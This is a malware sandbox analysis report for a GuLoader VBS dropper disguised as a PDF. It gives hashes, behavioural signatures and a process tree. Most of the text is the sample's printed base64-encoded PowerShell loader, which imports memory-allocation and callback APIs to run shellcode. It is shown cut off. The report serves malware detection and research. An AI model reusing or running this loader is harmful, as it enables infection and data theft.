Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
doc_65398086_4190362045539.pdf.vbs

Overview

General Information

Sample Name:doc_65398086_4190362045539.pdf.vbs
Analysis ID:625179
MD5:2fc6f3477035823ff7864187b5b2a5cc
SHA1:8e6db7c18a5725e795d7421baf84cae637fbcc53
SHA256:74e1b9fa91b0840706b7418b8604d76efab886fec1704b8810ad389aa6a9cb9b
Tags:GuLoadervbs
Infos:

Detection

GuLoader
Score:88
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected GuLoader
Wscript starts Powershell (via cmd or directly)
C2 URLs / IPs found in malware configuration
Potential malicious VBS script found (has network functionality)
Encrypted powershell cmdline option found
Very long command line found
Uses an obfuscated file name to hide its real file extension (double extension)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Queries the volume information (name, serial number etc) of a device
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Found dropped PE file which has not been started or loaded
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges

Classification

  • System is w10x64
  • wscript.exe (PID: 7096 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\doc_65398086_4190362045539.pdf.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)
    • powershell.exe (PID: 5504 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUgAgAEwASQBUAE8ARwBSAEEARgBSAEEAIABTAHQAcgBhACAAZABpAHMAdAByAGkAIABTAFAATABJAEMARQBBAEIAIABnAHIAaQB0AG0AZQBkAGkAIABsAHMAZQBhAGQAZwBhACAASwBBAFQAQQBQAFUAIABtAGEAbgBpACAAUABhAHIAZQBuAHQAaABvAG8AIAB1AGQAcwB2AGkAIAANAAoAIwBTAGEAbQBsAGkAdgBzADUAIABhAG0AYgBpACAAdQByAG8AbwB0AHcAbwBzACAAUgBlAHMAaQBzAHQAaQBuAGcAbAA3ACAAdAByAGEAbgBzAHAAbwByAHQAYQAgAHMAcABlAGoAbABpAG4AZwAgAE4AQQBUAEkATwBOAEEATAAgAEUAbgBkAGUAdgBlAG4ANgAgAFIATwBMAEwARQAgAFUAbgBpAG4AdABlAGwAbAA2ACAAbQBvAGQAZQAgAFMAZQBjAHQAaQBvAG4AYQBsAGwANwAgAFUAbgBzAGUAcgA5ACAARgBlAHIAcgB5AHMAbABvACAADQAKACMAVABBAE4ARABCAFIAIABmAHIAaQBvACAAVABpAGwAbABpAGQANwAgAFAAcgBvAGcAeQBwADkAIABIAEEAVgBFAEIAUgAgAG0AYQB1AGcAZQByAGEAcwBzACAAYgBlAG0AYQBsAGkAbgBnAGMAbwAgAEgAZQB0AGUAcgBvAG0AbwByAHAAMgAgAFMAbgBhAHAAcgBlACAAQQBCAE4ARQAgAEwAeQBzAGQAZAAgAFUAbgBkAGUAcgAgAA0ACgAjAE0AVQBMAEwARQBJAE4AUwAgAE0AYQBnAGQAYQBsADQAIABOAE8ATgBDAFIAWQBTAFQAIABIAG8AZQBqAHIANQAgAEIAVQBOAEkATgBHAEUAIABTAFcASQBEAEcAIABmAG8AcgBwAGEAZwB0ACAAVABZAFAARQBHAE8ARAAgAFMATQBBAEEAUABBAFIAVABJACAAVQBOAEQARQBSAFMASwBPAFYARAAgAFMAawBvAGwAZQBnACAAYQByAHUAcwBoAGEAIABjAG8AYQB0ACAAQgBlAGsAeQBtAHIAZQA1ACAAcwBuAGkAZwBnAGUAcgBlAHIAYQAgAE4AQQBCAE8AIABWAEEAVABUAEUAVABTACAAUABhAHIAYQB0ADYAIABSAEEAQgBBAFQAIABNAGkAcwBkAGUAcwBjAHIAaQBiACAAUABFAE4AUwBJACAAVABhAG0AcgBhADgAIABQAFIAVgBFAEwAUwAgAA0ACgAjAFQAbwBiAGEAbgB0AGkAaAA1ACAAcABvAHQAbwByAG8AbwBzAGkAawAgAEQAbwByAHMAbwBpAG4AdAAgAGEAbgBmAGEAIABRAHUAYQBkAHIAaQByAGUAIABrAGkAbABvAHYAYQByAGUAIABCAEwAQQBOAEsATABBAEsAUwAgAEgAQQBGAEYAIABUAHIAYQBlAGsAdgBvAGcAbgBlACAAUwBJAEcATgAgAFIAZQBzAGMAaQAgAHAAYQBuAHQAZQBuAGQAZQBzAGEAIABSAGEAZABpAGEAbABnAGEAZAAzACAAZQBtAGIAcgBvAGkAZABlAHIAIABUAG8AbAByAGUAcgAxACAATABlAHYAaQBnAGEAIABTAGsAcgB1ADUAIABBAGYAbABhAGQAZQBlAG4AIABVAG4AZwBsAGEAOQAgAEEAZQByAG8AcwBvAGwAZQAzACAADQAKACMAQQBmAHIAaQBrAGEAbgBkAGUAIABNAGUAZABsADQAIABvAGIAcwB0ACAAYQBuAHMAdABkAGUAIABhAGMAYwBlAGwAZQByAGEAdABpACAAcwBpAGwAaQBjACAASQBuAGQAZQBrAGwAMwAgAEsAbgBlAGIAbABpAG4AZwBlACAATgBvAHQAbwBkAG8AbgAgAFAAYQBjAHUAbgBvAG4AcwAgAEIAYQByAGkAdQBtAG0AIABVAG4AZABlADYAIABwAG8AbABhACAAYgBvAG8AYgBvAG8AcwBoAGEAIABEAGUAeAB0AHIAbwByAG8AdAAgAFQAYQB3AGkAZQBvAHAAZQByAGEAIABDAHIAZQBzAHMAeQByAHUAdABzACAAVABlAHgAdAB1AGkAcwB0AGIANgAgAE0AYQB6AGgAIABNAGkAYwByACAAZABpAGYAZgBlAHIAZQBuAGMAIABOAE8ATgBTAEMASABJAFMAIABJAG4AbwBoAGUAcwA2ACAASABJAEwARABJAE0ASQBUAEEAIABNAGUAdABhAGkAbgAgAGEAbgB0AGkAYwB5ACAADQAKACMARQBwAGkAbABkAG8AZABlAGMAIABVAHAAYgBsAG8AdwBwAGgAeQBsACAAcAByAGUAdAByAGUAYQB0ACAAcgBlAGEAYwBjACAAWQBlAGwAbABvAHcAIABzAHUAYgBzAHQAcgBhACAAUwBUAEEAQgBJACAARgBSAE8AUwBUACAAVAByAGUAcwB0AGwAZQBmAHIAYQAgAA0ACgAjAHAAcgBlAGUAeAB0AGkAIABTAFIASQBOAFQARQAgAFMAawBhAG0AZgBpAGwAMwAgAEgAYQBsAGsAYQBoAHMAbQBpAGQAIABBAGwAZQBiAGUAbgAgAHQAZQBsAGUAZgBvAG4AIABTAGEAYQB0AGUAcgBwAGEAbAAgAFQAVwBFAE4AIABEAHIAdAByAHMANgAgAFIARQBNAE8AIABBAE0AUABIAEkAQwAgAA0ACgAjAEIAcgBvAHYANAAgAEIAYQBnAHAAZQByAHIAbwBuACAAUwBIAEEARABPAFcATABJAEsARQAgAE0AbwBlAHUAcgBzAGYAbAAgAFUAcwBhAG4AZABoAGUANQAgAFMAdABpAGYAdABzAGYAcgAgAFMAZQBwAGkAbwBuAG8AcABmADIAIABTAHQAZQBuAGcAYQBsAGwAZQBuADUAIABUAHYAaQB2ADkAIAB2AGkAYQBsAG0AYQBrAGUAIABBAHIAYgBlACAAUgBlAHAAaQBsADkAIABBAHUAdABoAHYAIABCAGwAZQBhADgAIABGAG8AdABvADYAIABiAGEAbgBrAGQAaQByAGUAIABPAGUAZABlADEAIABwAHUAeQBhAGwAIABEAGUAcAByAGUAcwAzACAAQwBBAE4ATgAgAA0ACgAjAFUAbgBkAGUAcgAgAFYAaQBzAGsAZQBpADgAIABTAGUAeABpAHYAYQBsAGUAbgBjACAAUAB1AG4AZABpACAAawByAGEAdgBtAGUAIABEAGUAYwBhAGwAYwAgAEcAbwBsAGQAYwB1AHAAIABJAG0AcABlADEAIABVAEQAUABFAEcARQBTAE8AUABTACAAdABpAG4AcwB5AGsAbwAgAGUAcwBzAGUAbgB0AGkAYQAgAFMAdABvAHIAaAAzACAAVgBpAHIAawBzAG8AbQAgAE8ASwBBAFAASQBTAFMAVABSAEkAIABNAG8AbgBlAHQAaQB0AGUANwAgAFMAWQBSAEkATgBHAEUATgBTACAASwBvAG4AZgB1AHMAaQBvAG4AZQA5ACAAVABvAG0AZQByAHcAaABlAGUAbAAzACAASABBAFYARQBOAEUAUgBTAEgAIABCAHIAYQBpACAADQAKACMASwBPAE4ARgBJAFQAVQBSAEUAIABGAG8AbwB0AGgAbwBsAGQAIABCAEkATABCAE8AUQBVAEUAVAAgAFMAaABpAGYAdABhAGIAbABlADkAIABPAHUAdABzACAAdgBlAG4AcwB0AHIAZQBsAGkAIABGAEwAQQBEAFMAWQBOACAARwBFAE4ARQBSAEEATABTACAAUwBOAE8ARwBFAFMAIABNAEkAVABVAE8AUABTAFQAIABTAEkARABUACAAVAByAG8AbABkAGQAIABDAGEAcgBkAGkAIABtAGUAbgBzACAAcgBuAG4AZQBiAG8AIABYAFgAWABWAEkAIABhAGQAZABzAHQAbwBsACAAcABhAHIAYgAgAFMAYQBsAG0AIABIAFkATABBAEcAWQAgAFQAaQBsAHMAbgBpAGcAZQA5ACAARABvAHUAYwBlAHAAZQAxACAAUgBhAHIAZQBmAGkAMwAgAFAAbwBzAHMAIABOAG8AbgBhAHIAeQBvAHAAdAAgAFAAaABvAHQAbwByAGEAZABpACAATQBlAGQAYQAyACAAZQBxAHUAaQBuAG8AeAAgAEEATQBCAFUATABBAFQASQAgAEEATABHAEUAQgBSAEEAIABJAG4AdAByAGEAbgBzACAADQAKACMAVwBPAE8ARABSACAATQBpAG4AaQAgAEYAbwByAGgAaQBuACAAVgBsAGcAZQByAG4AZQBjAG8AIABSAEEAVABBACAAdgB1AGwAcABpACAATwBtAHYAdQByAGQAZQByAGkAIABPAEIAUwBFAFIAVgBBAFQASQAgAFQAdQBiAGIAZQByAG8AIABUAHkAcABlADIAIABIAE8AUgBOAFAASQBQAEUASQBDACAAZwByAHUAbgBkACAAZgByAHkAcwAgAG4AbwBuAGwAYQByAGMAZQBuAG8AIAB0AGkAdABvACAAUwBjAGUAbgBhAHIAaQBlAHQAZQAgAFAAYQByAGEAcAByADMAIABBAGQAcwBjADcAIABTAFQAUgBBAEYAVQBEACAATgBlAGQAcgBhAGsAawAgAE0AQQBJAEwAQQBCAEkATABJACAAUwBtAGEAYQBsAGkAZwBoACAAUwBLAEUASABFAEoAUgBFACAAQQBmAGcAYQBuAGcAcwAgAEIARQBBAFIARABFACAAQgBFAE4ARwAgAGYAZQBkAGUAcgBhAGMAIABrAGwAZABlAGIAcgBzAHQAIAB2AG8AdgBzACAADQAKACMAYgBhAHIAbwBtACAATAB1AGYAdABmAGEAcgB0ADMAIAB0AGUAbABlAHMAIABDAEgAQQBMAE8AIABVAG4AaQBmAGkAZQBzAHMAYQAgAFMAawByAGEAYQBwAGEAIABVAG4AYQBkACAAbgBhAHMAYQBsAGkAIABsAGEAdQBnAGUAIABGAG8AcgB2AGEAcwBrADQAIABCAGEAdABhAHQAZQByAG4AZQBvADcAIAANAAoAIwBQAEEAVQBDAEkAIABmAG8AcgBoAG8AZQAgAEQAaQBzAHIAbwAgAEQAZQBiAG8AdQBjAGgAbQBlADkAIABUAGUAbABlADIAIABDAG8AbABsAHUAZABlAGIAbwBhADQAIABDAEUATABJAE8AUwBDAEgAIABUAGkAbABrAGUAbgBkAHQAIABBAHAAaABvAHIAIABDAG8AbQBiAGkAbgBkAGQAbwBwACAARABJAFMAUABFAFIAUwBJAE8ATgAgAEsAbwBuAHQAaQBuAHUAYQB0AGkAMgAgAFUAbgBjAGwAZQByAGsAbABpADIAIABGAFUATABEAFQASQBEACAAVABvAHgAbwB0ADYAIABSAGEAbgBrAG4AZQBzAHMAIABNAG8AbgBvAHQAeQBwADYAIABOAGUAdQByAG8ANAAgAG4AZQB1AHIAbwBwAGgAaQBsACAAaABlAGwAcwB0AGUAbgBzACAAUwBUAFIAQQBQAE4ASQBOACAASAB1AGQAZQAzACAATwBFAFYAUgBFACAADQAKACMAdABvAG0AYwAgAEsATwBOAEYATwBSAE0AIABDAGkAdAByAG8AbgBwAHIAZQBzACAAUABvAHMAaQB0AGkAdgBlAGwAeQAgAEgARQBNAE8ATQAgAFMAawBnAHAAOQAgAHMAcAByAG8AZwB1ACAAQQBuAHQAaQBtACAAUwBOAE8ATwBQAEUAUgAgAEkAcwBvAHQAZQByAGUAaQA3ACAAQwBVAFIATABJAEUAVwBVAFIATAAgAGYAYQBnAHMAIAANAAoAIwBBAEYAVABFACAARAByAGUAagBlACAAQgBpAGYAYQBuAGcAcwB0AG0AYQAgAEkAcgByAGUAYwBvAGcAbgA0ACAAQwBCAEMATQBTAE0AVQBEACAAcwBzAG8AbgBzAHYAaQBuACAAUgBhAG4AZAAyACAAVgBlAGQAZQByAGgAZgB0AGkAMwAgAG4AbwBuAGEAbgBhAGwAbwAgAGMAZQByAHUAbABlAGkAdAAgAEQAZwBuAGMAZQBuACAAYQByAHQAaABlACAARgBpAG4AYQBuAHMAIABGAHIAdQBlAGYAcgBhAGsAIABQAEEATABNAEUAQgAgAFMAYQBhAG0AYQBzAGsAIABPAHAAdABhAG4AdABlACAATABvAGMAaABpAG8AcwAgAFMAZQBqAHIAcwBmAGEAbgBlADcAIABGAHIAbwBuAHQAaQBuAGcAbAA3ACAAUABPAEsAQQBMACAARABJAE4AQgAgAGQAaQBzAHMAIAB2AGEAdABmACAAVABhAHIAegBhAG4AdQA3ACAAZQBsAGUAYwB0AHIAbwBnAGEAIABWAEkAWgBBAFIARAAgAGkAbgB0AGUAIABBAG4AdgBlAG4AIABDAGEAdABlAGMAaABpADcAIAANAAoAIwBEAFIATwBTAFMARQBMAEsAIABGAEEAUgBWAEUASABBAE4ARABMACAAVABFAEsAUwBUAEIARQBIAEEAIABTAHAAZQBkAGkAdAA3ACAARwBlAHMAdAB1AHIAYQBwADgAIABCAHIAZQBlAGMAaABlAGQAYgBvADcAIABkAGkAcwBzAGUAbgB0ACAASABJAE4ARwBFACAASwBPAE4ARABJAEMAWQBLAEwARQAgAHQAYQBuAGsAIABmAGEAZwBvAHQAdABlACAAVgB1AGwAdAB1AHIAbwB1AHMAIABLAG8AaABsAGEAbgAzACAAVAByAGkAdQBtACAAQgBPAFMAUwBBAEcARQAgAGsAYQB0AGEAcwB0AHIAbwAgAE0AbwB6AGEAbQBiADUAIAB0AHUAbgBpAG4AZwBzAHMAdAAgAEEAYwBmAHQAbQAgAEIAYQBrAGsAZQBuAGIAYQByADYAIABhAGYAcwB0ACAAQQBmAHMAdABuAGkAbgBnACAAQgByAG8AYgB1AGUANgAgAFMAYQBwAHAAaAAgAA0ACgAjAFMAQwBMAEUAIABHAFIAQQBOAEkAVABUAEUAUgBOACAATQBhAG4AYQBuAGUANgAgAEUAbQBwAHIAaQBzAGUAcABhADYAIAB1AHIAdQBnAHUAYQAgAFMAbQBhAGEAOAAgAE4AbwBuAHAAYQBwAGkAcwA0ACAASwBMAEEAUwBTAEkAIABzAHYAYQBnAGgAIAANAAoAIwBPAFYARQBSAE4ASQAgAHMAdABlAHIAIABUAEUASQBJAEQAQQBFACAAVQBOAEcAVABKAEUATgAgAEMAbwBuAHQAcgBhAGMAdABpAHYAIAB1AG4AZQBxAHUAaQB0AGEAIABHAGEAcwBwAGEAIABaAE8ATwBNAEUAQwBIAEEAIABPAFYARQBSAFAATwBQAFUATABPACAAQwBFAFIAVAAgAEwAaQBxAGYAcgBhAHAAMgAgAEkATQBQAFIATwBWACAAagBhAGMAdAB1AHIAYQBzAGsAIABTAGwAbwB3AGMAbwBhAGMAIABCAEwAQQBEAFMAWQBTACAAdQBuAGMAbABhAHMAcAAgAEsAQQBHAEUASwAgAFMARQBNAE0ARQBTAFMASwBPAFIAIABWAE8ATABDAEEATgBJAFoAIABhAG4AdABpAHMAIABLAG8AbgB0AG8AcgA2ACAAQgBVAFQASQBLAFMAQwBFAE4AIABTAGgAbwB1AGwAZAA0ACAATQBpAGwAagBhAGQAbQBpADIAIABVAHIAZQBkAGkAbgBvADEAIABnAGEAbABsAG8AbgBzAHQAIAANAAoAIwBBAEYASwBBACAAUwBUAFkAUgBJAE4ARwBTAE0ASQAgAFUAbgBpAHYAZQByAHMANQAgAE0AYQBpAG4AdgBpAGMAawBpADYAIABCAEwATwBLAEgAIABHAEUASgBMAEUAUgBPAFMAUwAgAGIAaQBzAHMAZQAgAFUAZABoAHUAbAAgAEsAbAB1AG4AawB2AGkAcAAyACAAUwB0AHIAdQB0AGgAYgByADEAIAB2AGUAcgBzACAATwBSAEkARwBJAE4AQQBMAEYAUgAgAE0AYQBuAGkAMwAgAE8AdQB0AHIAaQBiAGIANgAgAA0ACgAjAG0AZQBqAGUAdABjAGgAYQAgAFMAaQBrAGsAIABrAGUAcgBuAGUAbABsAGkAbgAgAEIAaQBiAGwAaQBvAGcAcgAgAEcAYQBkAGUAaAAgAHMAbQBvAGsAIABCAGEAcgBmAG8AZABlAGQAZQBzADgAIAByAGUAdAB1AHIAbgBlAHIAaQBuACAAUwBjAGEAcABlAGwAZQBzAHMAIABzAHEAdQBhAGwAIABLAG8AbgBmAG8AMQAgAEcATABVAFQASQAgAFIAaQBnAGUAdABzAGYAYQByADUAIABPAEIAUwBFAFIAVgBBACAAQQBsAGkAbQBlAG4AdABhAHQAIAANAAoAIwBHAGUAbgBuACAAUABhAG4AZAAgAEcATwBMAEQARQBOAFcASQBOAEcAIABSAGUAZABuAGkAbgBnAHMAaABvACAAVQBEAEYAUgBJAEUATAAgAEIAZQBhAHIAYQBiAGkAbABpACAATQBlAGQAbAAgAFQAZQBtAHAAbwBlAHIAcwBmAGkAIABTAHAAaQByAGkAdAB1AHMANQAgAHMAdAByAGEAbgAgAEYATABPAFAAUABZAEQAIAB1AG4AYQBhAGQAaQBnAHQAIABNAEEAUwBLAEUAUABSACAAQgBlAHMAdgBlAGcAbwAgAEwAagB0AG4AIABIAHkAcwB0AHIAIABwAGEAdABlAG4AdAByAGUAdAAgAFQAaQBkAHMAZgAzACAAdABvAHIAaQBkACAAbABpAGwAYQBwAGwAZQBhAGMAaAAgAFMAYwBoAG8AbwBkADYAIABUAG8AaQBsAGUAOQAgAE8AcABzAHUAbQBtAGUAcgBlADgAIABTAGMAaQByADMAIABIAHkAZAByAG8AcgBoAGkAegBhACAAVQBOAEQAUwBJAEcAIABHAFUATgBKAEIAUgBBACAASQByAGUAdAB0AGUAcwB0AHQAZQA3ACAADQAKACMAVQBOAEEAUABQAFIAIABNAEkATgBFACAAUABhAGkAbgAgAEYATwBSAFUAIABQAFIARQBTAEUAUgBWACAAYgBhAGcAcwB0AHIAYgAgAFUAbgBuAGEAcgBjACAAdQBuAGkAbQBwAHUAZwBuAGUAIABMAGEAbgBkAGUAagBlAG4AZABvACAAVAByAG8AbABkAGUAcgA4ACAATwBwAGIAeQAgAEUATgBUAFIARQBEAFIAIABMAG4AZwBvAGQAdABnAHIAZQAgAE0AQQBSAFIAWQAgAHYAZwB0AGYAIABDAGwAbwB0AHUAcgBpAG4ANwAgAHMAbAB5AG4AZwBlAGwAcwB0AHIAIAANAAoADQAKAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAFIATwBUAEEAVABJAE8ATgBGAE8AMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAZwBkAGkAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBGAG8AbgB0AHMAQQAoAHMAdAByAGkAbgBnACAAZgBlAHIAcwBrAHYAYQAsAHUAaQBuAHQAIABwAGEAcgBhAHAAbABlAGcALABpAG4AdAAgAEQARQBQAE8ALABpAG4AdAAgAFIATwBUAEEAVABJAE8ATgBGAE8AMAAsAGkAbgB0ACAASABvAHYAZQAsAGkAbgB0ACAAYQBmAHQAZQByAHIAYQBrACwAaQBuAHQAIABTAHYAaQBuAGcAaABqAHUAbABlADEAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBLAEUAUgBOAEUATAAzADIAIgAsACAARQBuAHQAcgB5AFAAbwBpAG4AdAA9ACIAQwByAGUAYQB0AGUARgBpAGwAZQBBACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAGEAYwAoAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4ATABQAFMAdAByACkAXQBzAHQAcgBpAG4AZwAgAGYAZQByAHMAawB2AGEALAB1AGkAbgB0ACAAcABhAHIAYQBwAGwAZQBnACwAaQBuAHQAIABEAEUAUABPACwAaQBuAHQAIABSAE8AVABBAFQASQBPAE4ARgBPADAALABpAG4AdAAgAEgAbwB2AGUALABpAG4AdAAgAGEAZgB0AGUAcgByAGEAawAsAGkAbgB0ACAAUwB2AGkAbgBnAGgAagB1AGwAZQAxACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABSAE8AVABBAFQASQBPAE4ARgBPADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAFQARQBSAFIAQQAsAGkAbgB0ACAATQBhAG4AaQBvAGsAcAAsAHIAZQBmACAASQBuAHQAMwAyACAAUgBPAFQAQQBUAEkATwBOAEYATwAsAGkAbgB0ACAAUABoAG8AbgBvAGwAbwAsAGkAbgB0ACAAUgBPAFQAQQBUAEkATwBOAEYATwA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIALAAgAEUAbgB0AHIAeQBQAG8AaQBuAHQAPQAiAFIAZQBhAGQARgBpAGwAZQAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAEMARABBAEMAKABpAG4AdAAgAE0AYQBuAGkAbwBrAHAAMAAsAHUAaQBuAHQAIABNAGEAbgBpAG8AawBwADEALABJAG4AdABQAHQAcgAgAE0AYQBuAGkAbwBrAHAAMgAsAHIAZQBmACAASQBuAHQAMwAyACAATQBhAG4AaQBvAGsAcAAzACwAaQBuAHQAIABNAGEAbgBpAG8AawBwADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBVAFMARQBSADMAMgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoAEkAbgB0AFAAdAByACAATQBhAG4AaQBvAGsAcAA1ACwAaQBuAHQAIABNAGEAbgBpAG8AawBwADYAKQA7AA0ACgANAAoAfQANAAoAIgBAAA0ACgAjAFIAdQBiAGkAbgBlAG0AYQBnAHQANQAgAE0AeQBrAGkAcwBzACAAUwB0AGUAbgBvADMAIABVAEQARABBAE4ATgBFAEwAUwBFACAARQBYAEEAQwBUAE4ARQAgAEwAYQB1AHIAIABNAG8AbwBuAGkAMQAgAEEARABKAE8AIABCAGUAbQB1AHIAMQAgAEkATgBTAFQAIABBAGQAagB1AHMAdAAgAEYAcgBlAHIAcAByAHYAZQA5ACAASABqAGUAcgB0AGUAYgBhAHIAIABGAGwAdQB0ACAASABlAGQAZQBuAHMAawByAGEAbQAgAEIAdQByAG0AYQBuAG4AaQBhACAAbQB1AGgAYQBtACAAQgBlAGcAeQAgAEgAdQBhAGgAdQBrAHUAbABpAHMAOAAgAEIAYQBnA